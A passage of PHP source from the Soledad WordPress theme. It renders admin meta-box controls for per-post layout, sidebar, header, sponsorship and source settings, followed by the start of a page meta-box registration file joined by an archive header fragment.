                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Hide Featured Image Auto Appears on
                        This
                        Post?', 'soledad' ); ?></h2>
                    <p class="description">
						<?php esc_html_e( 'This option only applies to Single Post Template Styles 1 & 2.', 'soledad' ); ?>
                        <br>
						<?php esc_html_e( 'if you wish to hide Featured Images from automatically appearing on all posts, you can select the option to do so by going to Customize > Single Posts > General > Hide Featured Image on Top.', 'soledad' ); ?>
                    </p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_post_hide_featuimg" name="penci_post_hide_featuimg">
                            <option value=""><?php esc_html_e( 'Default ( follow Customize )', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $hide_featuimg, 'no' ); ?>><?php esc_html_e( 'No, Show Featured Image', 'soledad' ); ?>
                            </option>
                            <option value="yes" <?php selected( $hide_featuimg, 'yes' ); ?>><?php esc_html_e( 'Yes, Hide Featured Image', 'soledad' ); ?>
                            </option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Post Title on Single Post
                        Page', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'You can enter a custom post title to be displayed on the single post page
                        that is different from the post title shown on archive pages.', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <textarea style="width: 100%; height: 50px;"
                              placeholder="<?php esc_html_e( 'Enter the custom single post title', 'soledad' ); ?>"
                              id="penci_cpost_title"
                              name="penci_cpost_title"><?php echo $penci_cpost_title; ?></textarea>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">

                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Reading Time', 'soledad' ); ?></h2>
                    <p class="description"><?php _e( 'Please fill in the estimated reading time for this post. For example: 3
                        mins<br>If you want to set a default reading time value for all posts, you can do so by going to
                        <strong>Customize > General >
                            General Settings > Set A Default Reading Time Value</strong>', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p><input placeholder="<?php esc_html_e( 'Enter the custom post reading time', 'soledad' ); ?>"
                              id="penci_reading_time"
                              name="penci_reading_time" type="text"
                              value="<?php echo esc_attr( $penci_reading_time ); ?>"></p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Sidebar Layout for this post?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_post_sidebar_display" name="penci_post_sidebar_display">
                            <option value=""><?php _e( 'Default Value ( on Customize )', 'soledad' ); ?></option>
                            <option value="left" <?php selected( $sidebar, 'left' ); ?>><?php _e( 'Left Sidebar', 'soledad' ); ?></option>
                            <option value="right" <?php selected( $sidebar, 'right' ); ?>><?php _e( 'Right Sidebar', 'soledad' ); ?></option>
                            <option value="two" <?php selected( $sidebar, 'two' ); ?>><?php _e( 'Two Sidebar', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $sidebar, 'no' ); ?>><?php _e( 'No Sidebar', 'soledad' ); ?></option>
                            <option value="small_width" <?php selected( $sidebar, 'small_width' ); ?>><?php _e( 'No Sidebar with
                                Container Width Smaller', 'soledad' ); ?>
                            </option>
                        </select>
                    </p>
                </div>
            </div>
		<?php } ?>
        <div class="pcmt-control-wrapper">
            <div class="pcmt-title">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Sidebar for This Posts/Page', 'soledad' ); ?></h2>
                <p class="description"><?php esc_html_e( 'Note: for pages, you can choose whether or not to display a sidebar in the "Page with Sidebar" template and customize the sidebar there. if the sidebar you choose here is empty, the sidebar you chose for the page in Customize will be displayed.', 'soledad' ); ?></p>
            </div>
            <div class="pcmt-control">
                <p>
                    <select id="penci_custom_sidebar_page_field" name="penci_custom_sidebar_page_field">
                        <option value=""><?php esc_html_e( "Default Sidebar( on Customize )", "soledad" ); ?></option>
                        <option value="main-sidebar" <?php selected( $value, 'main-sidebar' ); ?>><?php esc_html_e( "Main Sidebar", "soledad" ); ?></option>
                        <option value="main-sidebar-left" <?php selected( $value, 'main-sidebar-left' ); ?>><?php esc_html_e( "Main Sidebar Left", "soledad" ); ?></option>
                        <option value="custom-sidebar-1" <?php selected( $value, 'custom-sidebar-1' ); ?>><?php esc_html_e( "Custom Sidebar 1", "soledad" ); ?></option>
                        <option value="custom-sidebar-2" <?php selected( $value, 'custom-sidebar-2' ); ?>><?php esc_html_e( "Custom Sidebar 2", "soledad" ); ?></option>
                        <option value="custom-sidebar-3" <?php selected( $value, 'custom-sidebar-3' ); ?>><?php esc_html_e( "Custom Sidebar 3", "soledad" ); ?></option>
                        <option value="custom-sidebar-4" <?php selected( $value, 'custom-sidebar-4' ); ?>><?php esc_html_e( "Custom Sidebar 4", "soledad" ); ?></option>
                        <option value="custom-sidebar-5" <?php selected( $value, 'custom-sidebar-5' ); ?>><?php esc_html_e( "Custom Sidebar 5", "soledad" ); ?></option>
                        <option value="custom-sidebar-6" <?php selected( $value, 'custom-sidebar-6' ); ?>><?php esc_html_e( "Custom Sidebar 6", "soledad" ); ?></option>
                        <option value="custom-sidebar-7" <?php selected( $value, 'custom-sidebar-7' ); ?>><?php esc_html_e( "Custom Sidebar 7", "soledad" ); ?></option>
                        <option value="custom-sidebar-8" <?php selected( $value, 'custom-sidebar-8' ); ?>><?php esc_html_e( "Custom Sidebar 8", "soledad" ); ?></option>
                        <option value="custom-sidebar-9" <?php selected( $value, 'custom-sidebar-9' ); ?>><?php esc_html_e( "Custom Sidebar 9", "soledad" ); ?></option>
                        <option value="custom-sidebar-10" <?php selected( $value, 'custom-sidebar-10' ); ?>><?php esc_html_e( "Custom Sidebar 10", "soledad" ); ?></option>
						<?php Penci_Custom_Sidebar::get_list_sidebar( $value ); ?>
                    </select>
                </p>
            </div>
        </div>
        <div class="pcmt-control-wrapper">
            <div class="pcmt-title">
                <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Sidebar Left for This
                    Posts/Page', 'soledad' ); ?></h2>
                <p class="description"><?php esc_html_e( 'Note: for pages, you can choose to display or hide the sidebar using the "Page with Sidebar" template and customize the sidebar here. if the sidebar you choose here is empty, the sidebar you chose for the page in Customize will be displayed.', 'soledad' ); ?></p>
            </div>
            <div class="pcmt-control">
                <p>
                    <select id="penci_custom_sidebar_left_page_field" name="penci_custom_sidebar_left_page_field">
                        <option value=""><?php esc_html_e( "Default Sidebar( on Customize )", "soledad" ); ?></option>
                        <option value="main-sidebar" <?php selected( $value_left, 'main-sidebar' ); ?>><?php esc_html_e( "Main Sidebar", "soledad" ); ?></option>
                        <option value="main-sidebar-left" <?php selected( $value_left, 'main-sidebar-left' ); ?>><?php esc_html_e( "Main Sidebar Left", "soledad" ); ?></option>
                        <option value="custom-sidebar-1" <?php selected( $value_left, 'custom-sidebar-1' ); ?>><?php esc_html_e( "Custom Sidebar 1", "soledad" ); ?></option>
                        <option value="custom-sidebar-2" <?php selected( $value_left, 'custom-sidebar-2' ); ?>><?php esc_html_e( "Custom Sidebar 2", "soledad" ); ?></option>
                        <option value="custom-sidebar-3" <?php selected( $value_left, 'custom-sidebar-3' ); ?>><?php esc_html_e( "Custom Sidebar 3", "soledad" ); ?></option>
                        <option value="custom-sidebar-4" <?php selected( $value_left, 'custom-sidebar-4' ); ?>><?php esc_html_e( "Custom Sidebar 4", "soledad" ); ?></option>
                        <option value="custom-sidebar-5" <?php selected( $value_left, 'custom-sidebar-5' ); ?>><?php esc_html_e( "Custom Sidebar 5", "soledad" ); ?></option>
                        <option value="custom-sidebar-6" <?php selected( $value_left, 'custom-sidebar-6' ); ?>><?php esc_html_e( "Custom Sidebar 6", "soledad" ); ?></option>
                        <option value="custom-sidebar-7" <?php selected( $value_left, 'custom-sidebar-7' ); ?>><?php esc_html_e( "Custom Sidebar 7", "soledad" ); ?></option>
                        <option value="custom-sidebar-8" <?php selected( $value_left, 'custom-sidebar-8' ); ?>><?php esc_html_e( "Custom Sidebar 8", "soledad" ); ?></option>
                        <option value="custom-sidebar-9" <?php selected( $value_left, 'custom-sidebar-9' ); ?>><?php esc_html_e( "Custom Sidebar 9", "soledad" ); ?></option>
                        <option value="custom-sidebar-10" <?php selected( $value_left, 'custom-sidebar-10' ); ?>><?php esc_html_e( "Custom Sidebar 10", "soledad" ); ?></option>
						<?php Penci_Custom_Sidebar::get_list_sidebar( $value_left ); ?>
                    </select>
                </p>
            </div>
        </div>

		<?php if ( in_array( $post_type, $post_type_allow ) ) { ?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Select Single Style for This
                        Post?', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_single_style" name="penci_single_style">
                            <option value=""><?php esc_html_e( "Default Style( on Customize )", "soledad" ); ?></option>
							<?php for ( $i = 1; $i <= 22; $i ++ ) : ?>
                                <option value="style-<?php echo $i; ?>" <?php selected( $single_style, 'style-' . $i ); ?>>
									<?php esc_html_e( "Style $i", "soledad" ); ?>
                                </option>
							<?php endfor; ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Aspect Ratio for Featured
                        Image of This Post?', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'The aspect ratio of an element describes the proportional relationship
                        between its width and height, for example, 3:2 (width:height). The default aspect ratio is
                        3:2<br>Please note that this option does not apply when parallax images are enabled or for
                        Single Post Styles 1 & 2.', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p><input placeholder="<?php esc_html_e( 'Enter the custom aspect ratio here', 'soledad' ); ?>"
                              id="_customize-input-penci_pfeatured_image_ratio" name="penci_pfeatured_image_ratio"
                              type="text" value="<?php echo esc_attr( $pfeatured_image_ratio ); ?>"></p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Enable Parallax Images for This
                        Post?', 'soledad' ); ?></h2>
                    <p class="description"><?php esc_html_e( 'This feature does not apply for Single Style 1 & 2', 'soledad' ); ?></p>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_enable_jarallax_single" name="penci_enable_jarallax_single">
                            <option value=""><?php esc_html_e( 'No', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $enable_parallax, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Post Builder Template for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_single_builder_layout" name="penci_single_builder_layout">
							<?php foreach ( $single_layout as $single_slug => $single_name ) { ?>
                                <option value="<?php echo $single_slug; ?>" <?php selected( $single_slug, $singlebd_layout ); ?>><?php echo $single_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Header Layout for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_header_layout" name="penci_header_layout">
							<?php
							$header_layout_options = array(
								''          => __( 'Default Setting', 'soledad' ),
								'header-1'  => __( 'Header 1', 'soledad' ),
								'header-2'  => __( 'Header 2', 'soledad' ),
								'header-3'  => __( 'Header 3', 'soledad' ),
								'header-4'  => __( 'Header 4 ( Centered )', 'soledad' ),
								'header-5'  => __( 'Header 5 ( Centered )', 'soledad' ),
								'header-6'  => __( 'Header 6', 'soledad' ),
								'header-7'  => __( 'Header 7', 'soledad' ),
								'header-8'  => __( 'Header 8', 'soledad' ),
								'header-9'  => __( 'Header 9', 'soledad' ),
								'header-10' => __( 'Header 10', 'soledad' ),
								'header-11' => __( 'Header 11', 'soledad' ),
							);
							foreach ( $header_layout_options as $header_slug => $header_name ) { ?>
                                <option value="<?php echo $header_slug; ?>" <?php selected( $header_slug, $headerdf_layout ); ?>><?php echo $header_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Header Builder Template for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_header_builder_layout" name="penci_header_builder_layout">
							<?php foreach ( $header_layout as $header_slug => $header_name ) { ?>
                                <option value="<?php echo $header_slug; ?>" <?php selected( $header_slug, $headerbd_layout ); ?>><?php echo $header_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Header Block for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_header_block_layout" name="penci_header_block_layout">
							<?php foreach ( $footer_layout as $footer_slug => $footer_name ) { ?>
                                <option value="<?php echo $footer_slug; ?>" <?php selected( $footer_slug, $penci_header_block_layout ); ?>><?php echo $footer_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Custom Footer Builder Template for
                        This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_footer_builder_layout" name="penci_footer_builder_layout">
							<?php foreach ( $footer_layout as $footer_slug => $footer_name ) { ?>
                                <option value="<?php echo $footer_slug; ?>" <?php selected( $footer_slug, $footerbd_layout ); ?>><?php echo $footer_name; ?></option>
							<?php } ?>
                        </select>
                    </p>
                </div>
            </div>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Enable Table of Content for This
                        Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_toc_enable" name="penci_toc_enable">
                            <option value=""><?php esc_html_e( 'Default Settings', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $penci_toc_enable, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $penci_toc_enable, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <?php
                $post_type = get_theme_mod( 'penci_ha_enabled_post_types', [] );
                if ( in_array( 'post', $post_type ) ) {
            ?>
            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Enable Article Feedback for This
                        Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control">
                    <p>
                        <select id="penci_helpful_enable" name="penci_helpful_enable">
                            <option value=""><?php esc_html_e( 'Default Settings', 'soledad' ); ?></option>
                            <option value="yes" <?php selected( $penci_helpful_enable, 'yes' ); ?>><?php esc_html_e( 'Yes', 'soledad' ); ?></option>
                            <option value="no" <?php selected( $penci_helpful_enable, 'no' ); ?>><?php esc_html_e( 'No', 'soledad' ); ?></option>
                        </select>
                    </p>
                </div>
            </div>
            <?php } ?>

			<?php if ( ! get_theme_mod( 'penci_disable_extra_author' ) ) : ?>

                <div class="pcmt-control-wrapper">
                    <div class="pcmt-title">
                        <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php esc_html_e( 'Extra Author Action for This
                        Post', 'soledad' ); ?></h2>
                    </div>
                    <div class="pcmt-control" style="flex-direction: column;">
                        <div class="pcmt-child-control" style="width: 100%;">
                            <label for="penci_extra_author"
                                   style="font-weightl:bold;display:block;margin-bottom:10px;"><?php esc_html_e( 'Select
                            Action', 'soledad' ); ?></label>
                            <p class="select-button-type">
                                <select id="penci_extra_author" name="penci_extra_author">
                                    <option <?php selected( $penci_extra_author, 'updated_by' ); ?>
                                            value="updated_by"><?php _e( 'Updated By', 'soledad' ); ?></option>
                                    <option <?php selected( $penci_extra_author, 'reviewed_by' ); ?>
                                            value="reviewed_by"><?php _e( 'Reviewed By', 'soledad' ); ?></option>
                                    <option <?php selected( $penci_extra_author, 'edited_by' ); ?>
                                            value="edited_by"><?php _e( 'Edited By', 'soledad' ); ?></option>
                                    <option <?php selected( $penci_extra_author, 'revised_by' ); ?>
                                            value="revised_by"><?php _e( 'Revised By', 'soledad' ); ?></option>
                                </select>
                            </p>
                        </div>
						<?php
						$user_lists = get_users( [ 'role__not_in' => [ 'subscriber', 'customer' ] ] );
						$total_user = count( $user_lists );
						?>
                        <div class="pcmt-child-control" style="width: 100%;">
                            <label for="penci_extra_author_id"
                                   style="font-weightl:bold;display:block;margin-bottom:10px;"><?php esc_html_e( 'Action
                            By', 'soledad' ); ?></label>
							<?php if ( $total_user < 10 ): ?>
                                <select data-value="<?php echo $penci_extra_author_id; ?>" id="penci_extra_author_id"
                                        name="penci_extra_author_id">
                                    <option value=""><?php _e( '-- Select User --', 'soledad' ); ?></option>
									<?php foreach ( $user_lists as $id => $user ): ?>
                                        <option <?php selected( $penci_extra_author_id, $user->ID ); ?>
                                                value="<?php echo $user->ID; ?>"><?php echo $user->display_name; ?></option>
									<?php endforeach; ?>
                                </select>
							<?php else: ?>
                                <div style="min-width:270px;">
                                    <select class="penci_extra_author_ajax_id" id="penci_extra_author_id"
                                            name="penci_extra_author_id">
                                        <option value=""></option>
										<?php if ( $penci_extra_author_id ): ?>
                                            <option selected="selected"
                                                    value="<?php echo $penci_extra_author_id; ?>"><?php echo get_the_author_meta( 'display_name', $penci_extra_author_id ); ?></option>
										<?php endif; ?>
                                    </select>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </div>

			<?php endif; ?>

            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Sponsored Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control" style="flex-direction: column;">
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_sponsored_post"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Sponsored
                            Post', 'soledad' ); ?></label>
                        <p class="select-button-type">
                            <select id="penci_sponsored_post" name="penci_sponsored_post">
                                <option <?php selected( $penci_sponsored_post, '' ); ?>
                                        value=""><?php _e( 'Disable', 'soledad' ); ?></option>
                                <option <?php selected( $penci_sponsored_post, 'enable' ); ?>
                                        value="enable"><?php _e( 'Enable', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_sponsored_logo"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Sponsor
                            Logo', 'soledad' ); ?></label>
                        <div class="form-input-wrapper">
							<?php
							get_template_part( 'inc/templates/upload_form', '', array(
								'id'      => 'penci_sponsored_logo',
								'class'   => '',
								'name'    => 'penci_sponsored_logo',
								'source'  => isset( $penci_sponsored_logo ) ? $penci_sponsored_logo : '',
								'button'  => 'btn-single-image',
								'multi'   => false,
								'maxsize' => apply_filters( 'penci_maxsize_upload_profile_picture', '2mb' )
							) );
							?>
                        </div>
                    </div>
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_sponsored_post"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Sponsor
                            URL:', 'soledad' ); ?></label>
                        <input value="<?php echo $penci_sponsored_url; ?>" type="url" name="penci_sponsored_url"
                               id="penci_sponsored_url">
                    </div>
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_sponsored_redirect"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Directly Redirect', 'soledad' ); ?></label>
                        <p class="select-button-type">
                            <select id="penci_sponsored_redirect" name="penci_sponsored_redirect">
                                <option <?php selected( $penci_sponsored_redirect, '' ); ?>
                                        value=""><?php _e( 'Disable', 'soledad' ); ?></option>
                                <option <?php selected( $penci_sponsored_redirect, 'enable' ); ?>
                                        value="enable"><?php _e( 'Enable', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                </div>
            </div>

            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;">Video Preview on Hover
                        Thumbnail</h2>
                </div>
                <div class="pcmt-control" style="flex-direction: column;">
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_video_preview"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Enable Video Preview on Hover
                            Thumbnail', 'soledad' ); ?></label>
                        <p class="select-button-type">
                            <select id="penci_video_preview" name="penci_video_preview">
                                <option <?php selected( $penci_video_preview, '' ); ?>
                                        value=""><?php _e( 'Disable', 'soledad' ); ?></option>
                                <option <?php selected( $penci_video_preview, 'enable' ); ?>
                                        value="enable"><?php _e( 'Enable', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_video_preview_url"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Video URL:', 'soledad' ); ?></label>
                        <input value="<?php echo $penci_video_preview_url; ?>" type="url" name="penci_video_preview_url"
                               id="penci_video_preview_url">
                        <div style="margin-top: 10px;" class="description">
                            <p><?php _e( 'Please enter the full video URL, ensuring it ends with one of the following extensions:
                                .mp4, .mov, .mkv, .webm, and so on. You may also input URLs from YouTube, Vimeo, or
                                Facebook videos.', 'soledad' ); ?></p>
                        </div>
                    </div>
                </div>
            </div>

            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Disable All Adsense Code on This Post', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control" style="flex-direction: column;">
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_page_dis_ads"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'This option will remove all the ad code you\'ve added to this post.', 'soledad' ); ?></label>
                        <p class="select-button-type">
                            <select id="penci_page_dis_ads" name="penci_page_dis_ads">
                                <option <?php selected( $penci_page_dis_ads, '' ); ?>
                                        value=""><?php _e( 'No, Keep all Ads', 'soledad' ); ?></option>
                                <option <?php selected( $penci_page_dis_ads, 'enable' ); ?>
                                        value="disable"><?php _e( 'Yes, Disable all Ads', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                </div>
            </div>

            <div class="pcmt-control-wrapper">
                <div class="pcmt-title">
                    <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Post Sources', 'soledad' ); ?></h2>
                </div>
                <div class="pcmt-control" style="flex-direction: column;">
                    <div class="pcmt-child-control" style="width: 100%;">
                        <label for="penci_post_sources"
                               style="font-weightl:bold;display:block;margin-bottom:10px;"><?php _e( 'Add sources for this post.', 'soledad' ); ?></label>


                        <div class="pc-meta-repeater" id="penci-post-sources-wrapper">
                            <!-- Repeater Item Template (Hidden) -->
                            <div class="pc-meta-repeater-item-content pc-repeater-template" style="display: none;">
                                <div class="pc-meta-repeater-input">
                                    <label><?php _e( 'Name', 'soledad' ); ?></label>
                                    <input type="text" name="" class="source-name" value="">
                                </div>
                                <div class="pc-meta-repeater-input">
                                    <label><?php _e( 'URL', 'soledad' ); ?></label>
                                    <input type="text" name="" class="source-url" value="">
                                </div>
                                <a href="#" class="pc-meta-repeater-item-remove"><?php _e( 'Remove', 'soledad' ); ?></a>
                            </div>

                            <!-- Repeater Items Container -->
                            <div class="pc-meta-repeater-items">
								<?php if ( $penci_post_sources ):
									foreach ( $penci_post_sources as $index => $source ): ?>
                                        <div class="pc-meta-repeater-item-content">
                                            <div class="pc-meta-repeater-input">
                                                <label><?php _e( 'Name', 'soledad' ); ?></label>
                                                <input type="text"
                                                       name="penci_post_sources[<?php echo $index; ?>][name]"
                                                       class="source-name" value="<?php echo $source['name']; ?>">
                                            </div>
                                            <div class="pc-meta-repeater-input">
                                                <label><?php _e( 'URL', 'soledad' ); ?></label>
                                                <input type="text" name="penci_post_sources[<?php echo $index; ?>][url]"
                                                       class="source-url" value="<?php echo $source['url']; ?>">
                                            </div>
                                            <a href="#"
                                               class="pc-meta-repeater-item-remove"><?php _e( 'Remove', 'soledad' ); ?></a>
                                        </div>
									<?php endforeach;
								endif;
								?>
                            </div>

                            <!-- Add Button -->
                            <div class="pc-meta-repeater-item-actions">
                                <button type="button"
                                        class="button pc-meta-repeater-item-add"><?php _e( 'Add new source', 'soledad' ); ?></button>
                            </div>
                        </div>

                        <!-- jQuery Script -->
                        <script>
                          jQuery(document).ready(function ($) {
                            function updateRepeaterInputNames () {
                              $('#penci-post-sources-wrapper .pc-meta-repeater-items .pc-meta-repeater-item-content').
                                each(function (index) {
                                  $(this).find('.source-name').attr('name', 'penci_post_sources[' + index + '][name]')
                                  $(this).find('.source-url').attr('name', 'penci_post_sources[' + index + '][url]')
                                })
                            }

                            // Add new item
                            $('.pc-meta-repeater-item-add').on('click', function (e) {
                              e.preventDefault()
                              var $template = $('.pc-repeater-template').
                                clone().
                                removeClass('pc-repeater-template').
                                show()
                              $('.pc-meta-repeater-items').append($template)
                              updateRepeaterInputNames()
                            })

                            // Remove item
                            $('#penci-post-sources-wrapper').on('click', '.pc-meta-repeater-item-remove', function (e) {
                              e.preventDefault()
                              $(this).closest('.pc-meta-repeater-item-content').remove()
                              updateRepeaterInputNames()
                            })
                          })
                        </script>

                    </div>
                </div>
            </div>

			<?php if ( get_theme_mod( 'penci_speed_remove_css' ) ): ?>
                <div class="pcmt-control-wrapper">
                    <div class="pcmt-title">
                        <h2 style="font-weight: 600; font-size: 14px; padding-left: 0;"><?php _e( 'Create a Separate Critical CSS
                            cache for this Post?', 'soledad' ); ?></h2>
                    </div>
                    <div class="pcmt-control">
                        <p>
                            <select id="penci_post_critical_css" name="penci_post_critical_css">
                                <option value=""><?php _e( 'No', 'soledad' ); ?></option>
                                <option value="yes" <?php selected( $penci_post_critical_css, 'yes' ); ?>><?php _e( 'Yes', 'soledad' ); ?></option>
                            </select>
                        </p>
                    </div>
                </div>
			<?php endif; ?>
		<?php }
	}
}
PK     0w\fL  L    meta-box/register/page.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

add_filter( 'penci_meta_boxes', 'penci_page_meta_box' );
function penci_page_meta_box( $meta_boxes ) {

	$tabs = array(
		'page_general'    => array(
			'label' => esc_html__( 'General', 'soledad' ),
			'icon'  => 'dashicons dashicons-admin-site',
		),
		'page_header'     => array(
			'label' => esc_html__( 'Header', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
		'page_footer'     => array(
			'label' => esc_html__( 'Footer', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
		'page_title'      => array(
			'label' => esc_html__( 'Page Header', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
		'page_background' => array(
			'label' => esc_html__( 'Background', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
		'page_custom_css' => array(
			'label' => esc_html__( 'Custom CSS', 'soledad' ),
			'icon'  => 'dashicons dashicons-media-text',
		),
	);

	$header_layout = [];
	$footer_layout = [];

	$header_layout[''] = esc_attr__( 'Default Customizer Settings' );
	$footer_layout[''] = esc_attr__( 'Default Customizer Settings' );

	$header_layouts = get_posts( [
		'post_type'      => 'penci_builder',
		'posts_per_page' => - 1,
	] );
	foreach ( $header_layouts as $header ) {
		$header_layout[ $header->ID ] = $header->post_title;
	}

	$footer_layouts = get_posts( [
		'post_type'      => 'penci-block',
		'posts_per_page' => - 1,
	] );
	foreach ( $footer_layouts as $footer ) {
		$footer_layout[ $footer->ID ] = $footer->post_title;
	}

	$fields = array(
		array(
			'tab'  => 'page_general',
			'id'   => 'penci_page_style',
			'name' => esc_html__( 'Page Template', 'soledad' ),
			'type' => 'tab_general_options',
		),

		// Hide footer and header
		array(
			'tab'     => 'page_header',
			'id'      => 'header_builder_layout',
			'name'    => esc_html__( 'Header Builder Layout', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => $header_layout,
			'desc'    => esc_html__( 'Override header builder layout for this page.', 'soledad' ),
		),
		
		array(
			'tab'     => 'page_header',
			'id'      => 'header_block_layout',
			'name'    => esc_html__( 'Header Block', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => $footer_layout,
			'desc'    => esc_html__( 'Use the Penci Block as Header Template for this page.', 'soledad' ),
		),

		array(
			'tab'     => 'page_header',
			'id'      => 'header_style',
			'name'    => esc_html__( 'Header Style', 'soledad' ),
			'type'    => 'select',
			'std'     => '',
			'options' => array(
				''          => esc_html__( 'Default Value ( on Customize )', 'soledad' ),
				'header-1'  => esc_html__( 'Header 1', 'soledad' ),
				'header-2'  => esc_html__( 'Header 2', 'soledad' ),
				'header-3'  => esc_html__( 'Header 3', 'soledad' ),
				'header-4'  => esc_html__( 'Header 4 ( Centered )', 'soledad' ),
